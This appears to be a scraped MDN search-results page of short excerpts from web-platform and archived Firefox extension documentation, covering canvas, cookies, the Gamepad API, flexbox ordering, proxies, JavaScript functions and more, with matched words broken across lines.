reventextensions function, except that the object to operate on is implicit and in a different compartment from the caller.) issealed() return true if the referent is sealed—that is, if it is not extensible, and all its properties have been marked as non-configurable. (t...
...And 3 more matches
Applying styles and colors - Web APIs
here we will explore the canvas options we have at our disposal to make our drawings a little more attractive. you will learn how to add different colors, line styles, gradients, patterns and shadows to your drawings. colors up until now we have only seen methods of the drawing context. if we want to apply colors to a shape, there are two important properties we can use: fillstyle and strokestyle. fillstyle = color sets the style used when filling shapes. strokestyle = color sets the style for shapes' outlines. color is a string representing a css <color>, a gradient object, or a pattern object. we'll look at gradient and pattern objects later. ...
...the actual area to be filled (dark blue) only extends halfway into the pixels on either side of the path. an approximation of this has to be rendered, which means that those pixels being only partially shaded, and results in the entire area (the light blue and dark blue) being filled in with a color only half as dark as the actual stroke color. this is what happens with the 1.0 width line in the p
revious example code. to fix this, you have to be very precise in your path creation. knowing that a 1.0 width line will extend half a unit to either side of the path, creating the path from (3.5,1) to (3.5,5) results in the situation in the third image—the 1.0 line width ends up completely and precisely filling a single pixel vertical line. note: be aware that in our vertical line example, the ...
...for odd-width lines, by setting the linecap style to square, so that the outer border of the stroke around the endpoint will be automatically extended to cover the whole pixel exactly). note also that only start and final endpoints of a path are affected: if a path is closed with closepath(), there's no start and final endpoint; instead, all endpoints in the path are connected to their attached p
revious and next segment using the current setting of the linejoin style, whose default value is miter, with the effect of automatically extending the outer borders of the connected segments to their intersection point, so that the rendered stroke will exactly cover full pixels centered at each endpoint if those connected segments are horizontal and/or vertical). see the next two sections for demonst...
...And 3 more matches
Drawing shapes with canvas - Web APIs
to the right, you see this canvas with the default grid overlayed. normally 1 unit in the grid corresponds to 1 pixel on the canvas. ...
...s. by the end of this article, you will have learned how to draw rectangles, triangles, lines, arcs and curves, providing familiarity with some of the basic shapes. working with paths is essential when drawing objects onto the canvas and we will see how that can be done. the grid before we can start drawing, we need to talk about the canvas grid or coordinate space. our html skeleton from the p
revious page had a canvas element 150 pixels wide and 150 pixels high. to the right, you see this canvas with the default grid overlayed. normally 1 unit in the grid corresponds to 1 pixel on the canvas. the origin of this grid is positioned in the top left corner at coordinate (0,0). all elements are placed relative to this origin. so the position of the top left corner of the blue square becomes x ...
...idth, height) draws a rectangular outline. clearrect(x, y, width, height) clears the specified rectangular area, making it fully transparent. each of these three functions takes the same parameters. x and y specify the position on the canvas (relative to the origin) of the top-left corner of the rectangle. width and height provide the rectangle's size. below is the draw() function from the p
revious page, but now it is making use of these three functions. rectangular shape example <html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> function draw() { var canvas = document.getelementbyid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); ctx.fillrect(25, 25, 100, 100); ctx.clearrect(45, 45, 60...
...And 3 more matches
Document.cookie - Web APIs
in timeout instead of relying on the browser to do it. many browsers let users specify that cookies should never expire, which is not necessarily safe. see date.toutcstring() for help formatting this value. ;secure cookie to only be transmitted over secure protocol as https. before chrome 52, this flag could appear with cookies from http domains. ...
...rotocol as https. before chrome 52, this flag could appear with cookies from http domains. ;samesite samesite p
revents the browser from sending this cookie along with cross-site requests. possible values are lax, strict or none. the lax value value will send the cookie for all same-site requests and top-level navigation get requests. this is sufficient for user tracking, but it will p
revent many csrf attacks. this is the default value in modern browsers. the strict value will p
revent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link. the none value explicitly states no restrictions will be applied. the cookie will be sent in all requests—both cross-site and same-site. the...
...ie in requests transmitted over a secure channel. __host- signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. if the server omits the path attribute the "directory" of the request uri is used. it also signals that the domain attribute must not be present, which p
revents the cookie from being sent to other domains. for chrome the path attribute must always be the origin. the dash is considered part of the prefix. these flags are only settable with the secure attribute. note: as you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: wha...
...And 3 more matches
Using the Gamepad API - Web APIs
the gamepad api is a way for developers and designers to access and use gamepads and other game controllers. the gamepad api introduces new events on the window object for reading gamepad and controller (hereby referred to as gamepad) state. ...
...gamepad when a new gamepad is connected to the computer, the focused page first receives a gamepadconnected event. if a gamepad is already connected when the page loaded, the gamepadconnected event is dispatched to the focused page when the user presses a button or moves an axis. in firefox, gamepads are only exposed to a page when the user interacts with one with the page visible. this helps p
revent gamepads being used for fingerprinting the user. once one gamepad has been interacted with, other gamepads that are connected will automatically be visible. you can use gamepadconnected like this: window.addeventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s. %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, ...
...ow.addeventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s. %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); each gamepad has a unique id associated with it, which is available on the event's gamepad property. disconnecting a gamepad when a gamepad is disconnected, and if a page has p
reviously received data for that gamepad (e.g. gamepadconnected), a second event is dispatched to the focused window, gamepaddisconnected: window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); the gamepad's index property will be unique per-device connected to the system, even if multiple controll...
...And 3 more matches
HTML Drag and Drop API - Web APIs
n will be created between the source and drop locations. during the drag operation, drag effects may be modified to indicate that certain effects are allowed at certain locations. the following example shows how to use this property. ...
...ser p
revents anything from happening when dropping something onto most html elements. to change that behavior so that an element becomes a drop zone or is droppable, the element must have both ondragover and ondrop event handler attributes. the following example shows how to use those attributes, and includes basic event handlers for each attribute. ...
...hange that behavior so that an element becomes a drop zone or is droppable, the element must have both ondragover and ondrop event handler attributes. the following example shows how to use those attributes, and includes basic event handlers for each attribute. ...
...And 3 more matches
Intersection Observer API - Web APIs
or this kind of information has grown. intersection information is needed for many reasons, such as: lazy-loading of images or other content as a page is scrolled. implementing "infinite scrolling" web sites, where more and more content is loaded and rendered as you scroll, so that the user doesn't have to flip through pages. reporting of visibility of advertisements in order to calculate ad
revenues. deciding whether or not to perform tasks or animation processes based on whether or not the user will see the result. implementing intersection detection in the past involved event handlers and loops calling methods like element.getboundingclientrect() to build up the needed information for every element affected. since all this code runs on the main thread, even one of these can cause p...
...l"; } .extra { width: 350px; height: 350px; margin-top: 10px; border: 4px solid rgb(20, 20, 120); text-align: center; padding: 20px; } javascript finally, let's take a look at the javascript code that uses the intersection observer api to make things happen. setting up first, we need to prepare some variables and install the observer. ...
...ngcolor = "rgba(40, 40, 190, ratio)"; let decreasingcolor = "rgba(190, 40, 40, ratio)"; // set things up window.addeventlistener("load", (event) => { boxelement = document.queryselector("#box"); createobserver(); }, false); the constants and variables we set up here are: numsteps a constant which indicates how many thresholds we want to have between a visibility ratio of 0.0 and 1.0. p
revratio this variable will be used to record what the visibility ratio was the last time a threshold was crossed; this will let us figure out whether the target element is becoming more or less visible. increasingcolor a string defining a color we'll apply to the target element when the visibility ratio is increasing. the word "ratio" in this string will be replaced with the target's current visi...
...And 3 more matches
Signaling and video calling - Web APIs
eo> elements, one for your self-view, one for the connection, and the <button> element. the <video> element with the id "received_video" will present video received from the connected user. we specify the autoplay attribute, ensuring once the video starts arriving, it immediately plays. this removes any need to explicitly handle playback in our code. the "local_video" <video> element presents a p
review of the user's camera; specifiying the muted attribute, as we don't need to hear local audio in this p
review panel. finally, the "hangup-button" <button>, to disconnect from a call, is defined and configured to start disabled (setting this as our default for when no call is connected) and apply the function hangupcall() on click. this function's role is to close the call, and send a signalling...
...r notification to the other peer, requesting it also close. the javascript code we'll divide this code into functional areas to more easily describe how it works. the main body of this code is found in the connect() function: it opens up a websocket server on port 6503, and establishes a handler to receive messages in json object format. this code generally handles text chat messages as it did p
reviously. sending messages to the signaling server throughout our code, we call sendtoserver() in order to send messages to the signaling server. this function uses the websocket connection to do its work: function sendtoserver(msg) { var msgjson = json.stringify(msg); connection.send(msgjson); } the message object passed into this function is converted into a json string by calling json.st...
...adevices.enumeratedevices() to get a list of devices, filtering the resulting list based on our desired criteria, then using the selected devices' deviceid values in the deviceid field of the the mediaconstraints object passed into getusermedia(). in practice, this is rarely if ever necessary, since most of that work is done for you by getusermedia(). we attach the incoming stream to the local p
review <video> element by setting the element's srcobject property. since the element is configured to automatically play incoming video, the stream begins playing in our local p
review box. we then iterate over the tracks in the stream, calling addtrack() to add each track to the rtcpeerconnection. even though the connection is not fully established yet, you can begin sending data when you feel it's...
...And 3 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
this will help to solidify your understanding of how the geometry of 3d graphics and vr work, as well as to help ensure you understand the way the functions and data that are used during xr rendering work together. screenshot of this example in action the core of this example—the spinning, textured, lighted cube—is taken from our webgl tutorial series; namely, the penultimate article in the series, covering lighting in webgl. ...
...) { let refspacetype; xrsession = session; xrbutton.innertext = "exit webxr"; xrsession.addeventlistener("end", sessionended); let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); if (allowmouserotation) { canvas.addeventlistener("pointermove", handlepointermove); canvas.addeventlistener("contextmenu", (event) => { event.p
reventdefault(); }); } if (allowkeyboardmotion) { document.addeventlistener("keydown", handlekeydown); } shaderprogram = initshaderprogram(gl, vssource, fssource); programinfo = { program: shaderprogram, attriblocations: { vertexposition: gl.getattriblocation(shaderprogram, 'avertexposition'), vertexnormal: gl.getattriblocation(shaderprogram, 'avertexnormal'), ...
...ontextmenu_event, but only if the allowmouserotation constant is true. the mousemove handler will deal with the pitching and yawing of the view based upon the movement of the mouse. since the "mouselook" feature functions only while the right mouse button is held down, and clicking using the right mouse button triggers the context menu, we add a handler for the contextmenu event to the canvas to p
revent the context menu fom appearing when the user initially begins their drag of the mouse. next, we compile the shader programs; get references to its variables; initialize the buffers that store the array of each position; the indexes into the position table for each vertex; the vertex normals; and the texture coordinates for each vertex. this is all taken directly from the webgl sample code, so...
...And 3 more matches
Understandable - Accessibility
ds (aaa) where technical terms, jargon, or idioms/slang are used, definitions should be provided for such phrases/words. your site should provide a glossary that contains definitions of such words/terms that you can then link to when they appear, or at the very least provide definitions somewhere in the surrounding text, or in a description list at the bottom of the page. 3.1.4 abb
reviations (aaa) where abb
reviations are used, you should provide an expansion of them, or a definition as required. the <abbr> element is often thought of as the preferred way to provide an expansion for an abb
reviation — it takes a title attribute that contains the expansion, and this appears when the acronym is moused over. however, the title contents are not accessible via keyboard...
...bute that contains the expansion, and this appears when the acronym is moused over. however, the title contents are not accessible via keyboard, nor are they reliably read out by screenreaders. a better way to handle this is to again provide links to glossary pages containing the acronym expansion and explanation, or at the very least include them in the surrounding text in context. see abb
reviations. 3.1.5 reading level (aaa) if text is provided that requires a higher reading level that lower secondary education level (typically children around 11-14 years old), provide supplementary explainer material to help people who can't read it, or provide an alternative version that is written at lower secondary level. this doesn't mean that all subject matter should be u...
... question in a quiz app). in such cases, when this is appropriate, you'll probably use a combination of javascript and server-side functionality to check if the entry is correct, and if not, what viable suggestions can be given to the user. such suggestions should be displayed usefully in context, just like error messages (see 3.3.1). no tutorial suggestions yet. 3.3.4 error p
revention (legal, financial, data) (aa) in the case of forms involved with entry of sensitive data (such as legal agreements, e-commerce transactions, or personal data), at least one of the following should be true: submissions are
reversible. data is checked for errors, and the user is given an opportunity to correct them. a mechanism is available for confirming and corr...
...And 3 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
new layout methods such as flexbox and grid bring with them the possibility of controlling the order of content. in this article we will take a look at ways in which you can change the visual order of your content when using flexbox. we will also consider the implications of reordering items from an accessibility point of view.
reverse the display of the items the flex-direction property can take one of four values: row column row-
reverse column-
reverse the first two values keep the items in the same order that they appear in the document source order and display them sequentially from the start line. the second two values
reverse the items by switching the start and end lines. remember that the start line relates to writing modes. the row-related examples abo...
...umn row-
reverse column-
reverse the first two values keep the items in the same order that they appear in the document source order and display them sequentially from the start line. the second two values
reverse the items by switching the start and end lines. remember that the start line relates to writing modes. the row-related examples above demonstrate how row and row-
reverse work in a left-to-right language such as english. if you are working in a right-to-left language like arabic then row would start on the right, row-
reverse on the left. this can seem like a neat way to display things in
reverse order however you should be mindful that the items are only visually displayed in
reverse order. the specification says the following on this matter: “note: the...
... to manipulate the visual presentation while leaving the source order intact for non-css uas and for linear models such as speech and sequential navigation.” - ordering and orientation if your items were links or some other element that the user could tab to, then the tabbing order would be the order that these items appear in the document source — not your visual order. ...
...And 3 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
mage formats the html standard doesn't list what image formats to support, so each user agent supports different formats. a complete guide to image formats supported by web browsers is available. below is a list of the image formats that are most commonly used on the web, as well as some older formats that should no longer be used, despite existing content possibly still using them. ...
... image loading errors if an error occurs while loading or rendering an image, and an onerror event handler has been set on the error event, that event han...
...d later. image loading errors if an error occurs while loading or rendering an image, and an onerror event handler has been set on the error event, that event handler will get called. this can happen in a number of situations, including: the src attribute is empty ("") or null. the src url is the same as the url of the page the user is currently on. the image is corrupted in some way that p
revents it from being loaded. the image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <img> element's attributes. the image is in a format not supported by the user agent. attributes this element includes the global attributes. alt defines an alternative text description of the image. note: browsers do not al...
...And 3 more matches
Proxy servers and tunneling - HTTP
of the internet, proxy servers and http tunnels are facilitating access to content on the world wide web. a proxy can be on the user's local computer, or anywhere between the user's computer and a destination server on the internet. this page outlines some basics about proxies and introduces a few configuration options. there are two types of proxies: forward proxies (or tunnel, or gateway) and
reverse proxies (used to control and protect access to a server for load-balancing, authentication, decryption or caching). forward proxies a forward proxy, or gateway, or just "proxy" provides proxy services to a client or a group of clients. there are likely hundreds of thousands of open forward proxies on the internet. they store and forward internet services (like the dns, or web pages) to redu...
...of open forward proxies on the internet. they store and forward internet services (like the dns, or web pages) to reduce and control the bandwidth used by the group. forward proxies can also be anonymous proxies and allow users to hide their ip address while browsing the web or using other internet services. tor (the onion router), routes internet traffic through multiple proxies for anonymity. ...
... they store and forward internet services (like the dns, or web pages) to reduce and control the bandwidth used by the group. forward proxies can also be anonymous proxies and allow users to hide their ip address while browsing the web or using other internet services. tor (the onion router), routes internet traffic through multiple proxies for anonymity. ...
...And 3 more matches
Functions - JavaScript
a function in javascript is similar to a procedure—a set of statements that performs a task or calculates a value, but for a procedure to qualify as a function, it should take some input and return an output where there is some obvious relationship between the input and the output. to use a function, you must define it somewhere in the scope from which you wish to call it. see also the exhaustive reference chapter about javascript functions to get to know the details. defining functions function declarations a function definition (also called a function declaration, or function statement) consists of the function keyword, followed by: the name of the function. ...
...); } a(1); // logs 6 (1 + 2 + 3) in this example, c accesses b's y and a's x. this can be done because: b forms a closure including a (i.e. b can access a's arguments and variables). c forms a closure including b. because b's closure includes a, c's closure includes a, c can access both b and a's arguments and variables. in other words, c chains the scopes of b and a, in that order. the
reverse, however, is not true. a cannot access c, because a cannot access any argument or variable of b, which c is a variable of. thus, c remains private to only b. name conflicts when two arguments or variables in the scopes of a closure have the same name, there is a name conflict. more nested scopes take precedence. so, the inner-most scope takes the highest precedence, while the outer-most sco...
...ameters do. without default parameters (pre-ecmascript 2015) in the past, the general strategy for setting defaults was to test parameter values in the body of the function and assign a value if they are undefined. in the following example, if no value is provided for b, its value would be undefined when evaluating a*b, and a call to multiply would normally have returned nan. however, this is p
revented by the second line in this example: function multiply(a, b) { b = typeof b !== 'undefined' ? b : 1; return a * b; } multiply(5); // 5 with default parameters (post-ecmascript 2015) with default parameters, a manual check in the function body is no longer necessary. you can simply put 1 as the default value for b in the function head: function multiply(a, b = 1) { return a * b; ...
...And 3 more matches
TypeError: can't define property "x": "obj" is not extensible - JavaScript
usually, an object is extensible and new properties can be added to it. ...
...as marked as non-extensible. message typeerror: cannot create property for a non-extensible object (edge) typeerror: can't define property "x": "obj" is not extensible (firefox) typeerror: cannot define property: "x", object is not extensible. (chrome) error type typeerror what went wrong? usually, an object is extensible and new properties can be added to it. however, in this case object.p
reventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible. examples adding new properties to a non-extensible objects in strict mode, attempting to add new properties to a non-extensible object throws a typeerror. in sloppy mode, the addition of the "x" property is silently ignored. 'use st...
...ct as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible. examples adding new properties to a non-extensible objects in strict mode, attempting to add new properties to a non-extensible object throws a typeerror. in sloppy mode, the addition of the "x" property is silently ignored. ...
...And 3 more matches
Array.prototype.reduceRight() - JavaScript
te to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. see also array.prototype.reduce() for left-to-right. syntax arr.reduceright(callback(accumulator, currentvalue[, index[, array]])[, initialvalue]) parameters callback function to execute on each value in the array, taking four arguments: accumulator the value p
reviously returned in the last invocation of the callback, or initialvalue, if supplied. (see below.) currentvalue the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the array reduceright() was called upon. initialvalueoptional value to use as accumulator to the first call of the callback. if n...
...last element in the array will be used and skipped. calling reduce or reduceright on an empty array without an initial value creates a typeerror. return value the value that results from the reduction. description reduceright executes the callback function once for each element present in the array, excluding holes in the array, receiving four arguments: the initial value (or value from the p
revious callback call), the value of the current element, the current index, and the array over which iteration is occurring. the call to the reduceright callback would look something like this: array.reduceright(function(accumulator, currentvalue, index, array) { // ... }); the first time the function is called, the accumulator and currentvalue can be one of two values. if an initialvalue was ...
...it’s a flowing right-to-left, calling each function with the output of the last one. /** * function composition is way in which...
...And 3 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
s, see the auto-play policies for google chrome and webkit. note: put another way, playback of any media that includes audio is generally blocked if the playback is programmatically initiated in a tab which has not yet had any user interaction. browsers may additionally choose to block under other circumstances. autoplay of media elements now that we've covered what autoplay is and what can p
revent autoplay from being allowed, we'll look at how your web site or app can automatically play media upon page load, how to detect when autoplay fails to occur, and tips for coping when autoplay is denied by the browser. the autoplay attribute the simplest way to automatically play content is to add the autoplay attribute to your <audio> or <video> element. this sets the autoplay property on the...
...by a function called handlefirstplay(), which receives as input the play event. handlefirstplay() looks like this: function handlefirstplay(event) { let vid = event.target; vid.onplay = null; // start whatever you need to do after playback has started } after getting a reference to the video element from the event object's target, the element's onplay handler is set to null. this will p
revent any future play events from being delivered to the handler. that could happen if the video is paused and resumed by the user or automatically by the browser when the document is in a background tab. at this point, your site or app can begin whatever it needs to do that relies upon the video having been started up. note: this approach doesn't differentiate between autoplay and the user start...
...on(videoelem); } else { // handle a load or playback error } }); } the first thing we do with the result of play() is make sure it's not undefined. we check for this because in earlier versions of the html specification, play() didn't return a value. returning a promise to allow you to determine success or failure of the operation was added more recently. checking for undefined p
revents this code from failing with an error on older versions of web browsers. if the promise returned by play() is resolved without error, the then() clause is run and can begin whatever needs to be done when autoplay has begun. we then add a catch() handler to the promise. this looks at the error's name to see if it's notallowederror. this indicates that playback failed due to a permission issue...
...And 3 more matches
Paths - SVG: Scalable Vector Graphics
it can be used to create lines, curves, arcs, and more. paths create complex shapes by combining multiple straight lines or curved lines. complex shapes composed only of straight lines can be created as <polyline>s. while <polyline>s and <path>s can create similar-looking shapes, <polyline>s require a lot of small straight lines to simulate curves, and don't scale well to larger sizes. a good understanding of paths is important when drawing svgs. while creating complex paths using an xml editor or text editor is not recommended, understanding how they work will allow to identify and repair display issues in svgs. ...
...200" height="200" xmlns="http://www.w3.org/2000/svg"> <path d="m10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> </svg> there are three commands that draw lines. the most generic is the "line to" command, called with l. l takes two parameters—x and y coordinates—and draws a line from the current position to a new position. l x y (or) l dx dy there are two abb
reviated forms for drawing horizontal and vertical lines. h draws a horizontal line, and v draws a vertical line. both commands only take one parameter since they only move in one direction. h x (or) h dx v y (or) v dy an easy place to start is by drawing a shape. we will start with a rectangle (the same type that could be more easily made with a <rect> element). it's composed of horizontal...
... a reflection of the control point used on the other side to keep the slope constant. in this case, a shortcut version of the cubic bézier can be used, designated by the command s (or s). s x2 y2, x y (or) s dx2 dy2, dx dy s produces the same type of curve as earlier—but if it follows another s command or a c command, the first control point is assumed to be a reflection of the one used p
reviously. if the s command doesn't follow another s or c command, then the current position of the cursor is used as the first control point. in this case the result is the same as what the q command would have produced with the same parameters. an example of this syntax is shown below, and in the figure to the left the specified control points are shown in red, and the inferred control point in bl...
...And 3 more matches
ui - Archive of obsolete content
refox 29 you can only add frames to toolbars. a toolbar gives you a horizontal strip of space which you can use for presenting a more complex user interface. ...
...toolbars. a toolbar gives you a horizontal strip of space which you can use for presenting a more complex user interface. ...
... gives you a horizontal strip of space which you can use for presenting a more complex user interface. ...
...And 2 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
e loaded differently. next, what's the minimum version of firefox we should require (preferably an esr)? this guide targets firefox 17 esr or later (or anything else gecko 17+, such as seamonkey 2.14+). this is two esrs back (as of this writing), which should be plenty. using the current firefox esr, stable version, or nightly is generally a better idea if given the option, but some users take fo
rever to upgrade. there will be no usage of the add-on sdk or any other external libraries here. everything will use apis available in firefox 17+ or code provided here. step 1: use services.jsm if you load one of mozilla's internal jsm files, for example services.jsm, you'll do so via privileged javascript code like this: components.utils.import("resource://gre/modules/services.jsm"); from here...
...way to modularize your code that's been available since firefox 3. you can use chrome:// uris with "components.utils.import()" just fine; in fact you've been able to since firefox 4. however, because it was implemented first for only file:// and resource:// but not chrome://, everyone who learned of this new feature learned that you had to load jsm from resource:// uris and just stuck with that fo
rever. it does still work if you don't have restartlessness to worry about, though the protocol (or scheme, or whatever term you prefer) really should be avoided at this point. the resource:// protocol actually bleeds into content which allows webpages to detect installed add-ons using the protocol, which is not particularly fantastic (just the static file contents, not any loaded script/data). step...
...t. the resource:// protocol actually bleeds into content which allows webpages to detect installed add-ons using the protocol, which is not particularly fantastic (just the static file contents, not any loaded script/data). step 2a: load your jsm from chrome:// now with that preface out of the way, this part is easy: drop support for firefox 3.x if you haven't already, move your jsm files to whe
rever you've got your chrome mapping to for your xul overlay and/or windows, import your files from that new chrome mapped path instead of the old resource one, and remove your "resource" line from your chrome.manifest file. it's probably a good idea to do this even if you aren't going fully restartless / extractionless due to the p
reviously mentioned exposure to content of resource mappings. also, ...
...And 2 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
and was originally published in japanese for the firefox developers conference summer 2007. shimoda-san is a co-author of firefox 3 hacks (o'reilly japan, 2008). before you learn how to develop extensions, let's learn about xul, the xml-based user-interface language, which is one of the building blocks for extensions. introduction an overview of xul xul is an xml-based language, and was developed to be the gui markup language for the mozilla browser. ...
... for example, firefox uses the windowtype navigator:browser for its browser window and browser:preferences for its options dialog. using methods we will cover in chapter 4, we will see how windows can be acquired using these values as keys. a window's dimensions and location on screen can be specified using the attributes width, height, screenx, and screeny (all using pixels as units). with the p
reviously discussed persist attribute, you can easily store a window's size and location. firefox uses this method to store its own window sizes and locations as well. general root elements window the window element that has appeared in examples so far is a root element used to define an ordinary window. this displays the same kind of window used for the firefox browser window, the bookmark manage...
...e space-delimited values. also, in order to actually read in a history for autocomplete, you will need xpconnect privileges, which we will cover in chapter 4. menu list use the menulist element to create a control for making selections from a drop-down list. as shown in listing 17, this is implemented in combination with the menupopup element; it produces output as shown in figure 14. a click
reveals the drop-down list; when an item is selected, the values of that item’s label and value attributes are copied to the label and value attributes of the menulist element itself. by default, the first menu item is selected, but any menu can be preselected by adding selected="true" to it. <menulist> <menupopup> <menuitem label="item 1" value="1"/> <menuitem label="item 2" value="2"/>...
...And 2 more matches
Intercepting Page Loads - Archive of obsolete content
some of the techniques presented here apply only to content loaded in the main browser area, while others detect content being loaded in other xul windows, or even detect xul content being loaded. also, the different techniques tap into different steps of the load process. which one you should use solely depends on your needs. we will start with the simplest one, which is also the most common to use. note: performance is very important when it comes to add-ons and page loads. ...
...load events, since these notifications are triggered before the response arrives and is parsed into dom tree, so this is not the best approach for the typical greasemonkey-style extensions. notes on usage: efficiency is very important when adding http observers. remember that your observe method will be called for every http request made by firefox, usually several dozen per page visit. in the p
revious example, one of the first things we do is check if the url is of interest to us, otherwise we let it go. avoid heavy, time-consuming operations, or the user's browsing experience will become exasperating. . you have to take into account that a page load may involve several http requests, specially when redirects are involved. if you enter gmail.com in your browser, you will probably be redi...
...ate validation if condition. there may be other cases where accessing this property will throw an exception. canceling the request works just like with onlocationchange. see "recognizing page load failure" at mozilla.dev.extensions for tips on detecting connection failures and http response codes. xpcom solutions there are a couple more solutions you may be interested in trying if the p
revious ones are insufficient. these require creating xpcom components that implement existing firefox interfaces. they may be useful in case you have most of your application logic in xpcom, or if you absolutely need a single point of inspection for loads. the p
reviously explained solutions are enough for most cases, so these ones will be mentioned briefly. document loader service nsidocumentloade...
...And 2 more matches
Setting Up a Development Environment - Archive of obsolete content
in regards to code editing, there's no official mozilla ide. on the other hand, extensions use the same (or similar) languages that are used for web development, so most text editors and ides are up to the task. most xul tools and plugins you'll find online are merely templates that generate the folder structure for the project, and that's not much help. we recommend komodo edit. it's free, open source, and cross-platform. it's based on the mozilla xulrunner platform, so it has support for some of the particularities in firefox extension development. ...
...here all the resulting build files will be created, and where you'll find the extension xpi file once you get it to build. open the project file (helloworld2.komodoproject) from the src directory in komodo edit. in the projects tab you should be able to see the directory structure inside the src directory. this structure should be familiar, as it is almost identical to the unpacked xpi from the p
revious section. the only notable additions is a file named makefile under src. this is the file that make uses to build the xpi. you should take some time to read it and understand it, or at least identify the parts that you should change to get a project of your own going. this gnu make manual is a very good reference to get to know make and makefiles. in most cases you'll only need to change the...
...so a way to set up "shortcuts". you can do this by opening the automator application, choosing run shell script and then entering the profile-loading script in the textbox: /applications/firefox.app/contents/macos/firefox-bin -no-remote -p myprofile > /dev/null & you can change "/dev/null" to a file location, in case you want to see dump output from firefox, or other extensions. the last & p
revents automator from waiting for your firefox session to finish. save this as an application, not a workflow. and you probably want to have these on your desktop or dock, for easy access. there are also some configuration changes you should make in your testing profiles, so that you get detailed error information in case something fails. the firefox error console (tools > error console) normally d...
...And 2 more matches
List of Mozilla-Based Applications - Archive of obsolete content
kompozer wysiwyg html editor unofficial bug-fix release of nvu kylo video browser uses gecko biofortis labmatrix web-accessible software application used for information management and integration of patient clinical, specimen, genetic and molecular assay data based on xul liaison groupware client for novell’s email and collaboration server p
reviously called mozngw linbox kiosk browser (fr) web browser dedicated browser for french prefecture and town hall litl internet computer for home uses spidermonkey and gecko lizilayers gis application 3liz also creates some gis firefox add-ons logitech harmony remote software software for remote control device uses gre or xulrunner ...
...t's possible to create your own python web browser with hulahop, and much much more besides. ...
... part of instant-on operating system sqlite-manager database manager standalone version of add-on stealthsurfer secure internet tools on usb key uses firefox and thunderbird streambase complex event processing platform seems to use xulrunner stylizer css editor css editor css editor with built-in firebug-like diagnostics and gecko 1.8 p
review sun java enterprise system server products uses nss sundial browser with advanced domain name technology based on firefox surfeasy private and secure web browsing sweet16 apple ii computer emulator uses spidermonkey as a scriptable debugger for software running in the emulator mozilla sunbird/mozilla lightning calendar ...
...And 2 more matches
Editor Embedding Guide - Archive of obsolete content
boolean) docommand no parameters note this is logical style. most browsers display it the same as bold. cmd_cite toggles cite on selection. getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters note this is logical style. it is visually the same as italics. cmd_abbr toggles abb
reviation on selection. getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommandblock >all string cmd_acronym toggles acronym on selection. getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters n...
...any concrete information on the state of the command. cmd_selectlinenext scrolls relative to the current selection end point. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. cmd_selectlinep
revious scrolls relative to the current selection end point. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. cmd_selectcharp
revious scrolls relative to the current selection end point. getco...
... any concrete information on the state of the command. cmd_selectendline scrolls relative to the current selection end point. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. cmd_selectwordp
revious scrolls relative to the current selection end point. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. cmd_selectwordnext scrolls relative to the current selection end point. getcomman...
...And 2 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
many browsers, such as internet explorer, also support pre-w3c apis and have never added extensive support for the w3c-compliant ones. before i go into the differences between...
...devalue returns the value of the current node. for nodes that contain text, such as text and comment nodes, it will return their string value. for attribute nodes, the attribute value is returned. for all other nodes, null is returned. ownerdocument returns the document object containing the current node. parentnode returns the parent node of the current node. p
revioussibling returns the node immediately preceding the current one. removeattribute( aname ) removes the specified attribute from the current node. setattribute( aname, avalue ) sets the value of the specified attribute with the specified value. internet explorer has a nonstandard quirk, where many of these apis will skip white space text nodes that are generated,...
...owever, this is not guaranteed. to be sure that all elements exist, you should use the onload event handler on the <body> tag: <body onload="dofinish();"> <div id="foo">loading...</div> <script> function dofinish() { var element = document.getelementbyid("foo"); element.innerhtml = "done."; } </script> ... such timing-related issues are also hardware-related -- slower systems can
reveal bugs that faster systems hide. one concrete example is window.open, which opens a new window: <script> function doopenwindow(){ var mywindow = window.open("about:blank"); mywindow.location.href = "http://www.ibm.com"; } </script> the problem with the code is that window.open is asynchronous -- it does not block the javascript execution until the window has finished loading. ther...
...And 2 more matches
confirm - Archive of obsolete content
